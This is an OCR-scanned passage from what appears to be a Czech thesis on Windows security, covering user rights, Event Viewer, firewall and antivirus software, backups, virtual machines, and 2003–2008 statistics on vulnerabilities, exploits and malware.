toze administrator ma piistup ke vSem systémovym prostiedkiim, mize konfigurovat systém,
smi pfistupovat do registril, libovolné zapisovat a mazat data z disku a odesilat a pfijimat data

pies internet.

Windows XP podporuji dva zdkladni typy uctl, ucet typu bézny uzivatel a ucet typu
administrator. Oba tyto ucty se od sebe li§i uZivatelskymi pravy. Mezi nejvyznamnégjsi od-
liSnosti patii odliSna prava v ptistupu k registrim, k souboriim, k systémové konfiguraci apod.
Uvazujme situaci Ze neopatrny uzivatel stdhne z internetu spustitelny soubor se skodlivym

programem a spusti jej.

Pokud takto ucini s pravy spravce operaniho systému, tento program muze vykonat
svou ¢innost a neni vibec ni¢im omezovan. Muze neomezen€ mazat data z disku, mize ode-
slat vybrané soubory pomoci FTP’, nebo SMTP® protokolu, vytvofit zadni vratka do systému,
a do registrii nastavit, aby se program spoustél se startem systému, mize deaktivovat antivi-

rovy program a upravit nastaveni firewallu apod.

Pokud se vSak spusti tento program bézny uzivatel, nema pfistup k soukromym

sloZkdm ostatnich uZivateli, nemiZe ménit nastaveni systému, antivirového programu a fi-

7 FTP (File Transfer Protocol, protokol pro pfenos soubor mezi pocitac).
8 SMTP (Simple Mail Transfer Protocol, protokol pro odesilani posty).
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rewallu (pokud to antivirovy software a firewall nepodporuje). Pfi spravné nakonfigurovaném

firewallu nebude neznamému programu povolen piistup na internet.

Uzivatelska prava je mozné nastavit a pozdéji upravovat, pfidavat a odebirat jednot-
livym uzivatelim systému nastrojem Mistni uzivatelé a skupiny. Tento nastroj je standardni
soucasti Windows a lze jej spustit kliknutim na tlaitko start, vybrat volbu spustit a do okénka

napsat ptikaz ,,Jusrmgr.msc*.

Velkym krokem vpied v zachdzeni s uzivatelskymi pravy je metoda UAC piedstavena
ve Windows Vista. UAC slouzi k pfifazovani prav spoustéjici se aplikaci nebo programu. Me-

toda UAC je podrobnéji popsana v kapitole 2.2.14.

5.2 Prohlizec¢ udalosti Windows

Systém Windows zaznamenava informace o provadénych cinnostech do logl. Tyto
logy jsou velmi sdilny zdroj informaci o déni v systému. Prohlize¢ udéalosti Windows dokaze

tyto logy zobrazit.

Prohlize¢ udalosti Windows lze najit na plose v kontextovém menu polozky Tento po-
¢itaC. Z mistni nabidky je nutné vybrat volbu Spravovat a ve stromové struktute prejit k pro-
hlize¢i udalosti. Jind moZnost jak tento nastroj spustit je stiskem tlacitka Start a pfejit k

ptikazu Spustit, v okénku je nutné zadat nazev piikazu ,,eventvwr.msc*.

Prohlize¢ udalosti Windows ¢leni udalosti podle ptivodce udalosti do tfi skupin na
udalosti tykajici se aplikaci, udalosti tykajici se zabezpeceni a systémové udalosti. Ve vSech
téchto podkategoriich jsou informace o udalostech znovu ¢lenény a to podle typu udalosti na

informaci, upozornéni a chybu.

Protokol aplikaci je ulozen v souboru AppEvent.Evt. Uchovava udalosti zazna-
menané pii spousténi, béhu nebo ukonceni aplikaci. Typ zaznamendvanych udélosti urcuje
vyvojar dané aplikace a mohou se u riznych aplikaci liit. Protokol zabezpeceni je uloZzen v
souboru SecEvent.Evt. Uchovavéa informace o bezpecnostnich udalostech jako je uspésné
nebo neuspesné piihlasSeni k pocitaci, udalosti pii praci se soubory, uspéSny pokus o smazani,
¢i Cteni souboru. Vychozi nastaveni je takové Ze systém Windows tento typ udalosti nezazna-

menava. Systémovy protokol je ulozen v souboru SysEvent.Evt. Tento log je vyhrazen pro
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systémové udalosti jakymi mizou byt napiiklad Gispésné i neuspésné zavedeni ovladact a také

systémové chyby.

Informaéni zprava informuje o GspéSné udalosti, napiiklad pifi zavedeni ovladace,
spusténi sluzby a podobné. Varovani ma funkci upozornéni na mozny problém. Varovani
muze vyvolat naptiklad mélo volného mista na pevném disku, nebo zména v konfiguraci.
HlaSeni o chybé vznikne pii kritické udalosti v systému. Mlze byt vyvolano selhdnim ovla-

dace, hardware, nebo pfi zdvazné chybé ¢asti systému.

Poklepanim mysi na jednotlivé polozky lze zobrazit jejich detailn&jsi popis. V nové
otevieném okn¢ se zobrazi datum, Cas a typ udalosti, jméno uZzivatele, ktery zapficinil vznik
udalosti, nazev pocitace na kterém k udélosti doslo a popis udélosti. V nékterych ptipadech

jsou zobrazena také binarni data, které pomahajici vyvojaiim blize urcit pti¢inu udalosti.

V Prohlizec¢i udalosti Windows muizeme nastavit logovani do jednotlivych souborti.
Kliknutim pravého tlacitka mysi na protokol 1ze zvolit z mistni nabidky ,,Vlastnosti* a objevi
se nové okno. V tomto okné je mozné zjistit podrobné informace o protokolu a upravovat ve-
likost a zplisob zdznamu. Maximalni velikost protokolu umoznuje urcit velikost protokolu
souboru. Prace s mensimi protokoly je mnohem snadnéjsi a rychlejsi (povolené hodnoty jsou
od 64kB do 4 194 240 kB). Polozka Ptepisovat udalosti dle potieby ma za funkci to Ze pfi
pfekroceni maximalni velikosti protokolu budou nejstar§i udélosti smazany. Piepisovat uda-
losti star$i x dnlt ma za funkci to ze udélosti starSi x dnti budou automaticky mazany. Bohuzel
pii1 dosazeni maximalni velikosti protokolu béhem mensiho poc¢tu dni se nezapisuji nové uda-
losti. Volba neptepisovat udéalosti znamena ze udalosti nebudou pfepisovany a pii zobrazeni
upozornéni je administrator povinen obsah protokolu smazat. Pti dosazeni maximalni hranice

nebudou zapisovana nova data. Zde je taktéz mozné vSechny udalosti smazat.

Na dalsi zaloZce s napisem ,,Filtr Ize filtrovat udélosti zobrazované v hlavnim okné.
Prohlize¢ udalosti Windows umoznuje také jednoduché vyhledavani podle identifikatoru uda-
losti, podle uzivatelského jména, nebo podle popisu. Udalosti Ize podle téchto poli také tridit.

Toto vyhledavani lze nalézt v menu zobrazit, polozka najit.

Volbou exportovat seznam lze obsah exportovat do textového souboru a nasledné na-
ptiklad zazalohovat, nebo analyzovat nékterym automatizovanym nastrojem. Nevyhodou vSak
je ztrata binarnich informaci u nékterych zprav. Na obrazku 5.2.1 je prohlize¢ udalosti

Windows se zobrazenym detailem udélosti.
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Obr. 5.2.1: Prohlize¢ udalosti Windows
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Je mozné prohlizet log systému Windows také jinymi nastroji nez Prohlizecem udélos-
ti Windows. Ptikladem muze byt napiiklad program Event Log Explorer. Funk¢nost tohoto
programu je mozné zdarma zkouset po dobu 30 dni, poté je potieba vlozit registra¢ni kod. In-

ternetové stranky programu jsou na internetové adrese http:/www.eventlogxp.com a program

lze zdarma stahnout na internetové adrese http:// www.eventlogxp.com/download/elex.zip.

5.3 Vybér bezpecnych aplikaci

Stejné€ jako operacni systémy obsahuji programové chyby, je mozné chyby nalézt také
v aplikacich. Tyto chyby mohou byt zneuzity naptiklad exploitem. ProtoZe bezpecnost systé-
mu neni pouze bezpecnost operacniho systému, ale zavisi taktéZ na bezpecnosti aplikaci které

jsou v tomto operacnim systému spoustény, je vybér aplikaci velice diilezita otazka.

Jako ptiklad uvedu dva nejpopularnéjsi webové prohlize¢e Microsoft Internet Explo-
rer a Mozilla Firefox. Oba tyto prohlize€e maji své zastdnce i odptlrce. Prohlizece se lisi ve
svych funkcich, rozsifitelnosti pomoci plugini a v neposledni fadé také uzivatelskym roz-
hranim. AvSak oba tyto prohlize¢e umoziuji pohodIn¢ prohlizet web, stahovat obrazky a na-

piiklad sledovat video. Podivejme se na n€ nyni z bezpecnostniho hlediska.
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Grafy se tykaji obdobi od roku 2004, kdy vysla prvni verze prohlize¢e Mozilla Firefox
1.0 do roku 2007, kdy byly tyto grafy publikovany.

Obr. 5.3.1: Pocet opravenych chyb prohlizecii Firefox a Internet Explorer (6)

vulns fixed since 11/10/2004 - all versions
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Na obrazku 5.3.1 je graf. Graf vyjadiuje pocet vydanych zéplat na bezpecnostni meze-
ry prohlizect. Pro internetovy prohlize¢ Firefox bylo celkové vydéno podstatné vice zéaplat
nez pro Internet Explorer. OvSem pocet zaplat na velmi zdvazné chyby je u obou prohlizect
podobny. Pfi pohledu na tento graf je tieba brat v uvahu ze ob¢ spole¢nosti mohou opravit
vice chyb v rdmci jedné zaplaty a Microsoft navic zaplatuje Internet Explorer také v ramci

servisnich bali¢kil pro své operacni systémy.

Obr. 5.3.2: Pocet objevenych, neopravenych chyb prohlizect Firefox a Internet Explorer (6)

disclosed, unfixed vulns for Firefox 2 and IE 7
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Na obrazku 5.3.2 je graf. Tento graf pak ukazuje pocet objevenych chyb, které¢ v dobé
publikace grafu, v roce 2007, nebyly opraveny. Tento graf pro oba prohlizece ukazuje
podobné vysledky.
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Podobné Setfeni je mozné provést pii vybéru emailového klientu, FTP serveru a

mnohych dalSich programt.

5.4 Programy pouzivané pro zvysSeni bezpe€nosti

Protoze pocty Skodlivych programi rostou a objevuji se stale nové, je tfeba vybavit
operacni systém obrannymi programy. Mezi tyto programy patii firewall, antivirovy program

a program proti spyware.

5.4.1 Firewall

Firewall je prvek, ktery odd¢€luje sité za ucelem zvyseni bezpecnosti sit€¢ chranéné tim-
to firewallem. Firewall mtze byt realizovan samostatné¢ jako sitovy prvek nebo mize byt na-
instalovan na pocitaci firewall softwarovy ve form¢ programu. Hlavni funkci firewallu je
moznost filtrovat sitovy provoz. Firewall vyhodnoti zda je sitova komunikace zddouci ¢i neni
a na zaklad¢ pravidel tuto sitovou komunikaci propusti nebo zadrzi. Pravidla je mozné

upravovat, pfiddvat nova a odebirat ta soucasna.

V operac¢nim systému Windows XP SP2 a ve Windows Vista je jednoduchy firewall
standardni soucasti. Tento firewall se jmenuje Brana firewall systému Windows. Mnozi uZiva-
telé si jej oblibili praveé pro jeho jednoduchost. Jeho nedostatkem vsSak je zZe neumoziuje fil-

trovat odchozi provoz. Zapnout, vypnout a nastavit tento firewall 1ze v panelu nastrojt.

Kompletnim firewallem mtize byt program ZoneAlarm. Tento program umoziuje fil-
trovat ptichozi 1 odchozi spojeni, ve svém nitru ma integrovan také antivirovy software, an-
tispywarovy program a program pro filtrovani posty pro ochranu proti spamu. Tento firewall
ma také uzitecnou funkei filtrovani obsahu webu nevhodného pro déti. Sleduje také zmény
exe souborll, ¢imz upozornuje uzivatele na skutecnost ze v programu miize byt virus. Samo-
ziejmosti je tvorba logl. Program mulZe automaticky aktualizovat svou virovou databazi pies

internet.

ZoneAlarm ve verzi free je k dispozici zdarma pro domaci uzivatele a neziskové or-

ganizace a je mozné jej stahnout na internetové adrese http://www.zonealarm.com

Dalsimi kvalitnimi firewally jsou napiiklad Outpost Firewall Pro, Norman Personal
Firewall a za firewally zdarma napiiklad Sygate Personal Firewall nebo Sunbelt Kerio Perso-

nal Firewall.
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5.4.2 Antivirovy program

Primérni funkce antivirového programu je odhaleni a odstranéni vird z operac¢niho sys-
tému a ochrana pred dalsimi viry. U programii tohoto typu je dilezitd aktualnost. Tyto
programy velmi ¢asto mivaji také dalsi funkce napiiklad pro detekci spyware, rootkitti a ostat-
nich Skodlivych programt. Jejich vyrobci Casto nabizeji kompletni feSeni, ve kterém jsou za-

hrnuté programy typu antivir, antispyware a firewall.

Antivirovy software BitDefender nabizi automatickou aktualizaci virové databaze z
internetu, spolehlivé odhaluje viry, spyware a rootkity. Pti hrani her je mozné jej pfepnout do
rezimu, ktery snizi naroky na systém a snizi jeho zatiZzeni. Tento program se také vyskytuje ve
variant¢ kompletniho feSeni spolecné s firewallem, ochranou proti spammu, rodi¢ovskou
kontrolou pro filtrovani obsahu webu nevhodného pro déti, zdlohovacim programem a opti-
malizatorem registri Windows. Tento program je mozné stahnout na internetové adrese http://

www.bitdefender.com/site/Downloads/.

Jina varianta antivirového feseni je napiiklad program AVG. Tento program je z dilny
ceskeého vyrobce a nabizi rezidentni ochranu pied viry, trojskymi koni, spyware, nevyzadanou
postou, hackery, rootkity a programy typu exploit. Tento antivirovy program je k dispozici
také ve varianté kompletniho feSeni spole¢né s firewallem. Tento program je mozné stahnout

na internetové adrese http://www.grisoft.cz.

Dalsi antivirové programy jsou napiiklad ESET Nod32, Kapersky, F-Secure, nebo
Norton.

5.4.3 Antispywarovy program

Hlavni funkci antispywarovych programil je ochrana proti spyware. VétSina antivi-
rovych programli méa v sobé zabudovanou funkci pro detekci a odstranéni a prevenci spyware,
ale existuji 1 programy zabyvajici se pouze timto typem Skodlivych programt. Na programy

typu antispyware je, stejn€ jako u programi proti virim, kladen pozadavek aktualnosti.

Prvnim z fad téchto programli miiZe byt napiiklad Spyware Doctor. Je mozZné jej stah-

nout na internetové adrese http://www.pctools.com/spyware-doctor/.
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Dalsim ptikladem mize byt Windows Defender ktery pochazi z dilny firmy Microsoft
a je mozné jej pouzivat zdarma. Program je mozné stdhnout na internetové adrese

http://www.Microsoft.com/cze/athome/security/spyware/software/default.mspx.

Dalsimi programy zabyvajici se touto problematikou miizou byt Spy Sweeper, Coun-

terSpy a Ad-Ware Pro.

5.5 Tvorba zaloh

Zalohovani je Cinnost jejiz vysledky jsou docenény teprve v piipade, kdy dojde ke
ztrat¢ dalezitych dat. MozZnosti, jak pfijit o cennd data, je celd fada. Nemusi jit pouze o napa-
deni pocitace Skodlivym programem, Zivelnou katastrofu nebo fyzické selhani pevného disku.
K poskozeni dat miize vést i obycCejna a vSudyptitomna neopatrnost uzivatele vlivem lidského

faktoru. Pokud se tak stane, je dobré mit moznost obnovit data ze zalohy.
K dispozici je hned celd fada metod tvorby zaloh.

Prvnim typem zalohovéni je zaloha plna. Plna zaloha spociva v ptesné kopii zdlo-
hovanych dat, takze pokud je tfeba z této zalohy data obnovit, sta¢i pouze tato zaloha. Tento

typ zaloh byva predstupném zalohy inkrementalni a diferencialni.

Dals$im typem je Inkrementalni (ptirustkova) zaloha, ktera zaznamenava zmény vzhle-
dem k nejpozdéji zdlohovanému stavu. Divodem k pouziti tohoto typu zalohy miize byt Set-
feni Casu a mista potfebné k vytvoreni zalohy. Pokud dojde ke ztraté nebo poskozeni dat, je
tteba nejprve obnovit nejnovejsi plnou zalohu a poté postupné aplikovat vSecky ptredchozi

inkrementalni zalohy od nejstarsi po nejnové;jsi.

MV wew

Poslednim nejbéznéjsim typem zalohy je zaloha diferencidlni. Pfi tomto typu zalo-
hovani jsou vzdy zaznamenany zmény vzhledem posledni plné zaloze. Tento typ zaloh je
kompromisem mezi plnou a inkrementalni zalohou. Pokud dojde k havéarii zalohovanych dat,
je k jejich tispésnému obnoveni potieba mit k dispozici nejnovéjsi plnou zalohu a nejnovéjsi

diferencialni zalohu.

Cas potiebny k provedeni diferencialni zalohy dat je v priméru srovnatelny s ¢asem
potfebnym k vytvoteni zalohy diferencialni (s pfihlédnutim k charakteru dat), doba potiebna k

obnoveni dat vSak byva kratsi pii pouziti diferencialniho zalohovani, protoze doba obnoveni
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casového hlediska i z pohledu objemu dat, ktery je tfeba uchovat.

Tyto metody je mozné kombinovat v zavislosti na charakteru a dulezitosti dat. Kla-
sicky postup je naptiklad kazdy tyden vytvofit plnou zalohu a tu kazdy den doplnit o zalohu

inkrementalni.

Nekteré zalohovaci programy pro zalohovéani vyuzivaji ptiznak archivovat ve
vlastnostech soubort a slozek. Vyznam tohoto pfiznaku je takovy Ze pii vytvoreni zalohy je
tento ptiznak vymazan. Pokud dojde v souboru ke zméné¢ je pii pfistim zalohovacim procesu

znovu zazalohovan.

Pro zaru€eni bezpec€nosti dat je nutné vzit v ivahu také fyzické uloZeni zalohovanych
dat a to jak z hlediska ¢itelnosti média a jeho spolehlivosti, tak z hlediska mozného poskozeni
v piipad¢€ ulozeni ve stejném prostoru s osobnim pocitatem naptiklad v ptipadé pozaru nebo

kradeze.

Problematikou zalohovani se vénuje mnoho kvalitnich specializovanych programi.
Mezi mozZnosti téchto programil patii napiiklad podpora zdkladnich metod zalohovéani,
moznost ukladat zalohy na pevny disk, na sitové disky, podpora protokolu FTP a SMTP a
moznost planovat Cas kdy se proces zalohovani spusti. VétSina téchto programti podporuje
také kompresi a Sifrovani zaloh, které nabyva na dilezitosti pii zdlohovani na vzdaleny poci-

ta¢ v internetu.

Mezi nejznaméjsi programy pro tvorbu zéloh patii Genie Backup Manager 8, ktery lze

stahnout na internetové strance http://www.genie-soft.com, nebo program Acronis True Image

Home ktery lze stdhnout na internetové strance http://www.acronis.com. DalSim ptikladem

muze byt program NTI Backup NOW, ktery je mozné stdhnout na internetové adrese

http://www.ntius.com.

Specialni nastroj pro zalohovani opera¢niho syst¢ému Windows se jmenuje Obnoveni
systému. Tento nastroj je standardni soucdsti Windows Millennium, Windows 2000,
Windows XP a Windows Vista. Obnoveni systému vytvari takzvané body obnovy, které je
mozné vytvaret ruén€. Tento ndstroj je k nalezeni v nabidce Start, v polozce VSechny
programy, pod poloZkou PiisluSenstvi a dale pod polozkou Systémové nastroje a konecné

polozka Obnoveni systému. Toto zdlouhavé hledani lze urychlit stiskem tlacitka Start,
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polozka Spustit a do okénka napsat piikaz ,,%systemroot%\system32\restore\rstrui.exe”. K
témto bodlim obnovy je mozné se pozd¢ji vratit a obnovit uloZzeny stav systému. Tento néstroj

je uziteCny v piipad¢ Ze se v systému objevi komplikace.

V operacnim systému Windows je zalohovaci nastroj pod nazvem Zalohovani zahrnut
jako standardni soucast. Tento ndstroj umoziiuje automatické zadlohovani vybranych souborii a
sloZek v uréeny ¢as. Program dokaze provadét bézné typy zaloh a dovede je kopirovat v rdmei

pocitace na pevné disky, ale podporuje taktéz disky sitové.

Zalohovéni systému obrazem disku se hodi pro zalohu celého systému vcetné systé-
mové konfigurace a nainstalovanych programi. To miize byt potieba naptiklad pro zalohu
,»Cistého* systému, coz v budoucnu usnadni a urychli reinstalaci systému nebo jako zaloha
pied instalaci potencialné nebezpecného software nebo pred zdvaznou zménou konfigurace. V

piipadé netispé$né instalace tohoto software staci obnovit stav systému pied instalaci.

K takovému ucelu existuji specializované programy jakym je napiiklad Acronis True
Image. Tento program umoziiuje vytvatet obrazy celych disktl, nebo diskovych oddilti a ulozit
je na pevném disku, na sitovy disk nebo v podobé fragmentli optimalizovanych pro vyménna
média jakym jsou napiiklad CD, nebo DVD a tato média ukladat. Program je mozné stahnout

na internetové adrese http://www.acronis.com. Dal§im programem je Drive Image ktery je

mozné stdhnout na internetové adrese http://www.drive-image.com. Problematice vytvafeni

diskovych obrazli se vénuje mnoho dalSich programii.

5.6 Pouziti virtualniho pocitace

Jednim z mnoha doporuceni jak zmirnit dopad napadeni pocitace Skodlivym progra-
mem je pouZzivat k préci takzvaného virtualniho pocitace. Virtualni pocitac je program, ktery
umozni spustit na hostitelském opera¢nim systému druhy operacni systém. Na virtualni poci-

ta¢ je mozné nainstalovat jakykoliv podporovany operacni systém.

S virtudlnim pocitatem je mozné provadét vSechny bézné Cinnosti jako se skute¢nym
pocitacem. S vyhodou je mozné virtudlni pocita¢ pouzit k béZnym cinnostem jako je na-

priklad pristup na internet, nebo pro testovani neovétenych programu.

Virtudlni pocita¢ lze snadno zélohovat a v ptipad¢ napadeni virtualizovaného ope-

ra¢niho systému nepratelskym programem lze predchozi stav zpét snadno obnovit ze zalohy.
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Vyhoda spociva v tom Ze hostitelsky operacni systém, ve kterém je virtudlni pocita¢ spustén,

se vlivem ¢innosti provadénych v pocitaci virtualnim nemuze poskodit.

Mezi nejvyznamngjsi programy které virtualizaci umoziuji patii napiiklad VMware s

internetovymi strankami na adrese: http://www.vmware.com.

6 ZHODNOCENI BEZPECNOSTI OPERACNICH
SYSTEMU

Jednim z hlavnich kritérii pro posouzeni kvality operacnich systémt je jejich bez-
pecnost. Hlavnimi hledisky jejiho posuzovani miiZze byt pocet odhalenych chyb, zavaznost od-

halenych chyb a ¢as pottebny k vydani zaplaty.

6.1 Vyskyt chyb ve Windows v ¢asovém horizontu

V ptiloze A je ptilozena skupina Sesti grafii. Tyto grafy vyjadiuji histogramy vyskytu
chyb v operacnich systémech Windows v obdobi od roku 2003 do roku 2008 s mési¢ni peri-
odou. Zkoumanymi operac¢nimi systémy jsou Windows NT 4.0, Windows 98 Second Edition,

Windows Millennium, Windows 2000, Windows XP a Windows Vista.

Z grafti vyplyva ze ve zkoumaném obdobi byl objeven nejvétsi pocet chyb v ope-
racnich systémech Windows 2000 a Windows XP. Za tyto vysledky miZze byt do jisté miry
zodpovédny fakt, ze ve zkoumaném obdobi byly nejvice pouzivané prave tyto dva operaéni
systémy. Z grafl je také patrné v jakém obdobi byla na trh uvedena Windows Vista. Od toho
okamziku se zacCaly objevovat chyby v tomto operacnim systému. Stejn¢ tak s klesajici po-
pularitou starSich operacnich systémt, jakymi v téchto grafech jsou Windows NT 4.0
Workstation, Windows 98 Second Edition a Windows ME, klesa v téchto systémech také po-

¢et nove objevenych chyb.

6.2 Osetrenost objevenych chyb

ProtoZe opravena chyba neni jiz zneuzitelna, je dilezité chyby opravovat. V piiloze B
je pfilozena dal$i skupina Sesti grafli, grafy vyjadiuje do jaké miry byly opraveny chyby ope-

ra¢nich systému firmy Microsoft.

Mira opravenosti je vyjadiena hodnotami pojmenovanymi ,,Unpatched®, coz znamena

ze chyba nebyla ani CasteCn€ opravena, ,Partial Fixed“, ktera vyjadiuje Ze chyba byla
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castecné opravena, ,,Vendor Patch® coZz znamena Ze spole¢nost Microsoft chybu jiz kompletné
zaplatovala a hodnota ,,Vendor Workaround* znamena Ze chyba je oSetfena metodou, kterad

chybu sice neodstrani, ale tato chyba jiz dale neni zneuZzitelna.

Zkoumanymi operacnimi systémy jsou Windows NT 4.0, Windows 98 Second Edition,
Windows Millennium, Windows 2000, Windows XP a Windows Vista. A zkoumané obdobi je,
stejn€ jako u ptedchozi skupiny grafti, obdobi od roku 2003 do roku 2008.

Z grafii vyplyva ze systém s nejvetsim procentnim podilem neopravenych chyb je sys-
tém Windows NT Workstation 4.0 s hodnotou 20 %. Zbyvajici operacni systémy maji pro-
centudlni hodnotu neopravenych chyb velmi podobnou a tato hodnota se pohybuje okolo
12 %. Zkoumané operacni systémy maji zéplatovano piiblizné¢ 85 % objevenych chyb. Vy-

jimku opét tvoii Windows NT 4.0, kterd jsou zéplatované pouze ze 77 %.

6.3 Mozny dopad chyb

Protoze riizné objevené chyby jsou rtizn¢ zavazné, je také jejich dopad na napadeny
operacni systém ruzny. V ptiloze C je pfiloZzena dalsi skupina Sesti grafii, které vyjadiuji

mozny dopad objevenych programovych chyb zkoumanych operac¢nich systémd.

Zkoumanymi operacnimi systémy jsou Windows NT 4.0, Windows 98 Second Edition,
Windows Millennium, Windows 2000, Windows XP a Windows Vista. A zkoumané obdobi je,
stejné jako u predchozi skupiny grafli, obdobi od roku 2003 do roku 2008.

Nejbéznéjsi hodnota vyskytujici se v grafech je hodnota ,,System access* a tato hodno-
ta znamena ze po uspeSném zneuziti chyby je mozné ziskat ptistup do systému. Tato hodnota
je zvySena u operacnich systémt Windows 98 Second Edition a Windows Millennium a do-
sahuje 60 %. Ostatni operacni systémy maji tuto hodnotu pfiblizné 50 %. Ve Windows Vista

je vsak tato hodnota nizsi a klesla na 40 %.

Druhym nejbéznéjsim dopadem je takzvané odmitnuti sluzby a v grafech je oznacen
jako ,,DoS*“. Zneuzitim chyby s timto dopadem piestane systém poskytovat danou sluzbu.
Tato hodnota se ve vSech zkoumanych systémech pohybuje okolo 20 %, ve Windows Vista je

vsak opét nizsi a je 13 %.

Dalsi Castou hodnotou je zvySeni uzivatelskych prav oznacené jako ,,Privilege es-

calation”. Tato hodnota se rlzni, ale nejvyssi je ve Windows NT 4.0 Workstation a ve
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Windows Vista. Ve tato hodnota ve Windows Vista mize byt za toho navySeni zodpovédna

nove zavedena funkce pridélovani uzivatelskych prav UAC.

6.4 Misto odkud je mozné chyby zneuzit

Zajimavou statistikou mize byt statistika toho, odkud je mozné objevenou chybu
zneuzit. V ptiloze D je ptilozena dalsi skupina Sesti grafii, které praveé takovou statistiku vyja-

dtuji.

Zkoumanymi opera¢nimi systémy jsou Windows NT 4.0, Windows 98 Second Edition,
Windows Millennium, Windows 2000, Windows XP a Windows Vista. A zkoumané obdobi je,
stejn€ jako u ptedchozi skupiny grafti, obdobi od roku 2003 do roku 2008.

Hodnoty vyskytujici se v grafech jsou ,,From remote* coz znamend Ze chyba mize byt
zneuzitd ze vzdaleného pocitace, ,,From local network* coz znamena ze chyba mize byt zneu-
Zitd z pocitace pripojeného k mistni siti a posledni hodnotou je hodnota ,,Local system* coz

znamena ze chybu je mozné zneuzit zevnitf systému.

Nejvice chyb Ize podle grafti ve vSech zkoumanych operacnich systémech zneuzit ze
vzdaleného pocitace. Jedna se o mnozstvi vice nez poloviny objevenych chyb. Tato cast je
velmi vysokd ve Windows 98 Second Edition a ve Windows Millennium a podle grafii do-

sahuje pres 80%.

6.5 Zavaznost objevenych se chyb

Protoze nasledky zneuziti objevenych chyb se mohou lisit, je zajimavé zkoumat v ja-
kém poctu a do jaké miry jsou objevené chyby zdvazné. V ptiloze E je ptilozena dal$i skupina

Sesti grafl, které vyjadiuji zdvaznost objevenych chyb v procentech.

Zkoumanymi operacnimi systémy jsou Windows NT 4.0, Windows 98 Second Edition,
Windows Millennium, Windows 2000, Windows XP a Windows Vista. A zkoumané obdobi je,
stejné jako u ptedchozi skupiny grafi, obdobi od roku 2003 do roku 2008.

S 24

vaznou a jejich hodnoty jsou Extremely, Highly, Moderately, Less, Not.

Z grafli vyplyva skutecnost Ze ve Windows NT 4.0 Workstation nebyla ve zkoumaném

obdobi objevena zadna extrémné zavazna chyba. U ostatnich zkoumanych operacnich systé-
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mi se tato hodnota pohybuje mezi tfemi a ¢tyfmi procenty. Nejvetsi podil pak ve vSech zkou-

manych operacnich systémech pokryvaji sttedné zavazné chyby.

6.6 Pocet exploitil vybranych produkti Firmy Microsoft

Tabulka 6.6.1 ukazuje pocet oznamenych chyb a pocet exploitii vybranych produkti
firmy Microsoft v letech 2006 a 2007. Vybrany byly rizné verze webového prohlizece In-
ternet Exploreru, kancelaiského baliku Microsoft Office a také operacnich systémit Windows.
Z tabulky vyplyva Ze pfiblizn€ na polovinu oznamenych chyb zminénych programi jiz byl

nalezen zpusob jak je zneuzit.

Jaké mohou byt disledky uspéSného exploitovani chyby programu jsem piedvedl na

ptikladu exploitu chyby ve sluzbé Plug & Play opera¢niho systému Windows 2000.

Tab. 6.6.1: Pocet exploitd za rok 2006 a 2007 (7)

Internet Explorer™

5 8 4 50.0% 8 3 37.5% -12.5%
6 7 3 42.9% 8 3 37.5% -5.4%
7 o 0 - 8 3 37.5% —

Microsoft Office
2000 13 7 £3.0% 11 & 60.0% 6.2%
Xp 13 5 38.5% 12 & 54.6% 16.1%
2003 12 L 41.7% 13 & 46.2% 4.5%
X-Mac 7 2 2B.6% 1 1 100.0% 71.4%
2004-Mac 7 3 42.9% 11 5 45.5% 2.6%
2007 o 0 - L 1 20.0% -

Windows®
98 13 5 38.5% 0 o — —
ME 13 4 30.8% 0 0 - -
2000 46 14 30.4% 36 4 13.9% -16.5%
XpP 53 27 51.9% 39 5 12.8% -39.1%
2003 49 26 53.1% 39 18 46.2% -6.0%
Windows Vista o] 0 — 22 ] 40.9% —
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6.7 Mnozstvi detekovanych skodlivych programu

Nartst poctu skodlivych programt je patrny z dalSiho grafu, ktery je na obrazku 6.7.1.
Graf znazorniuje pocet detekovanych Skodlivych programli v obdobi let 2006 az 2007. V nej-
vetsi mite jsou podle grafu Skodlivé programy zastoupeny adwarem. Hlavni ¢innost adware je
zobrazovat nevyzadanou reklamu. Dalsi nejhojnéjsi jsou Skodlivé programy typu trojan down-
loader, které maji za kol instalovat dalsi Skodlivé programy za zady uzivatele. Tieti nejvetsi

vyskyt patii programim typu trojsky kan.

118

6.8 Napadnutelnost Windows XP v porovnani s ostatnimi
verzemi Windows

Graf na obrazku 6.8.1 vyjadiuje pocet Skodlivych programi detekovanych v ope-
raénim systému Windows. Cervenou barvou je vykreslen celkovy poéet $kodlivych programi
detekovanych v opera¢nich systémech Windows, modrou barvou je vykreslen pocet vyskytl
pouze ve Windows XP SP2. Vysoky podil vyskytu skodlivych programt pravé ve Windows

XP miize byt zdlivodnén jeho ptevahou v pouziti pro pfistup na internet.
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6.9 Porovnani mnozstvi bezpec¢nostnich chyb raznych
platforem

Zajimavé je také srovnani zranitelnosti riznych operacnich systémll v porovnani s
opera¢nimi systémy firmy Microsoft. Graf na obrazku 6.9.1 vyjadiuje mnozstvi opravenych a
neopravenych programovych chyb v jednotlivych zkoumanych operacnich systémech. Z grafu
vyplyvéa Ze systém s nejmensim poctem chyb za posledni rok je opera¢ni systém Windows
Vista. Systém s druhym nejmensim poctem chyb je dle grafu Windows XP a nejvétsi pocet
programovych chyb dle grafu obsahuje operac¢ni syst¢ém Red Hat rheldws. Vysoky pocet
tim, Ze linuxové systémy v sobé obsahuji velmi mnoho programti, které rozsifuji funkcnost

tohoto operac¢niho systému.

Pokud se ovSem zaméfime na pocet neopravenych chyb, jsou Windows XP opera¢nim

systémem s nejveét§im poctem neopravenych chyb.
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6.10 RozSirenost malware ve svétée

Na obrazku 6.10.1 je mapa, kterd zobrazuje vyskyt skodlivych programi na planeté
Zemi v roce 2007. Nejvetsimu vyskytu odpovidd zelena barva a nejniz§imu odpovida bila

barva.

Nejveétsi vyskyt malware byl zaznamenan v oblasti Japonska, mlize to byt zptisobeno
vysokou hustotou zalidnéni a vysokou technickou vyspélosti civilizace v této oblasti. V mensi
mife se malware objevoval v oblasti Australie, Ciny, a severni Evropy. Nepatrny vyskyt byl

zaznamenan v oblasti Afriky.
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6.11 Pouzivanost OS k pristupiim na web

Prvni graf na obrazku 6.11.1 ukazuje vyvoj pouzivanosti internetovych prohlizecti od
roku 1994 do roku 2006. Z grafu je vidét ze webovy prohlize¢ Mosaic se z internetu vytratil
piiblizné do roku 1998, naproti tomu se velmi rozsitil webovy prohlize¢ Internet Explorer fir-
my Microsoft pfedev§im diky tomu Ze je distribuovan spole¢né s operacnimi systémy

Windows. Prohlize¢ Internet Explorer je v dneSni dobé majoritnim internetovym prohlize¢em.
